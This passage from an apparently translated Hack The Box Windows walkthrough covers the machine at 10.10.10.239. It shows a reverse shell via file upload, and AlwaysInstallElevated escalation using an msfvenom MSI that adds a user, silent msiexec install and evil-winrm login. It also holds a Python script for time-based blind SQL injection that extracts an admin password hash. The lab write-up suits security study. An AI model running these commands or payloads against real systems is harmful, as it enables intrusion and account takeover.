above were listening there.&lt;/p&gt;&#10;&lt;p&gt;I found the password at &lt;code&gt;http:127.0.0.1:5000&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0476.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0477.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once inside the admin panel, I followed the earlier RCE guide and went straight to the &lt;code&gt;/voters_add.php&lt;/code&gt; endpoint.&lt;/p&gt;&#10;&lt;p&gt;All I had to do was create a new entry and upload the file. The filename stayed unchanged.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0478.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used &lt;code&gt;nc&lt;/code&gt; to call the shell back to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0479.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;systeminfo whoami/priv&lt;/code&gt; turned up nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;winPEASany&lt;/code&gt; found a few interesting things. At minimum, I needed to pay attention to everything highlighted in red.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0480.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0481.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0482.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The source file seemed to be gone.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0483.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0484.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No use. I couldn&amp;rsquo;t find it either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0485.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Authenticated users could create directories and write files in the root of the C drive.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0486.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The same was true for &lt;code&gt;c:\administration&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0487.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://developer.aliyun.com/article/1227455" target="_blank" rel="noopener"&#10; &gt;https://developer.aliyun.com/article/1227455&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The vulnerability verification section of this blog post is a useful reference.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -exec bypass &amp;#34;import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0488.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts would be useful later. First, I generated a malicious MSI.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I transferred it to the target.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msiexec.exe /quiet /qn /i add.msi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0489.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.10.239 -u msi -p Pass@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0490.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation part was pretty straightforward. Most of what I found consisted of blog posts introducing the vulnerability, and reading a few of them was enough to understand how it worked. During the shell stage, I forgot one crucial step: the HTTPS service had a certificate, and that certificate could contain a domain name. That domain might be the way in. Still, the SQL injection route was valid too. I got stuck on it for a long time. When extracting the 60-character password proved unbearably slow, I checked the next step in a write-up and realized I had gone completely the wrong way. Even if I got the password, it was still a hash. I searched &lt;code&gt;rockyou&lt;/code&gt; for a match, but the password wasn&amp;rsquo;t there. In other words, even if I extracted all 60 characters, brute-forcing the plaintext afterward still wouldn&amp;rsquo;t work. The database user for the SQL injection was most likely &lt;code&gt;root&lt;/code&gt;; I checked only whether the first letter was &lt;code&gt;r&lt;/code&gt; and then left it alone. I tried adding another user to the database, but that didn&amp;rsquo;t work either. The SQL injection held me up for ages. Every payload I used here was based on payloads other people had posted; the ones I built myself simply didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0491.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For example, with the one above, I copied the payload and found that it caused a delay. I then modified it into the version used in my PoC. None of my own attempts worked. Building the PoC after confirming the delay also took a lot of time, and running it took even longer. Brute-forcing with the Community Edition of &lt;code&gt;burpsuite&lt;/code&gt; was painfully slow because it had no multithreading. I also tried appending all sorts of other commands, but none worked; the response would just return an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0492.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the source, it executed the SQL statement before throwing the error. In theory, the SQL statement should have run.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0493.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the result was that it never executed successfully.&lt;/p&gt;&#10;&lt;p&gt;I used frp to tunnel port 3306 on the target to local port 6000.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0494.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had a blank password. I connected to see whether anything I had tried earlier had actually worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0495.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It hadn&amp;rsquo;t.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0496.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither had this.&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the end. I still need to work through more boxes and sharpen up my approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cookies = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;PHPSESSID&amp;#39;: &amp;#39;c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;li = list(&amp;#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;amp;*()_+-=[]{}|;:,.&amp;lt;&amp;gt;?/~`&amp;#34;\&amp;#39;\\&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Content-Type&amp;#39;: &amp;#39;application/x-www-form-urlencoded&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=c8kjhdoo2juviv0rfkgsop4tol&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Origin&amp;#39;: &amp;#39;http://10.10.10.239&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://10.10.10.239/admin/index.php&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# database&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,11):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28database%28%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for temp_number in range(1,6):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# data = f&amp;#39;%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+username+FROM+admin%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp = &amp;#39;&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp_number in range(1,61):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in li:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import time&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; data = f&amp;#39;username=%27+AND+%28SELECT+2487+FROM+%28SELECT%28SLEEP%28IF%28SUBSTR%28%28SELECT+password+FROM+admin+WHERE+username%3D%22admin%22%29%2C{str(temp_number)}%2C1%29%3D%27{i}%27%2C5%2C0%29%29%29%29WYpt%29+AND+%27hBVQ%27%3D%27hBVQ&amp;amp;password=12&amp;amp;login=&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.post(&amp;#39;http://10.10.10.239/admin/login.php&amp;#39;, cookies=cookies, headers=headers, data=data)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; end = time.time()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,str(end-start))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if end-start &amp;gt;= 5.0:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp += i&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="19intelligence"&gt;&lt;a href="#19intelligence" class="header-anchor"&gt;&lt;/a&gt;19.Intelligence&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0497.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0498.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0499.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0500.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since port 53 is open, I&amp;rsquo;ll start with port 80 to collect the domain name, then see where that leads.&lt;/p&gt;&#10;&lt;p&gt;Port 80&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0501.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0502.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain: 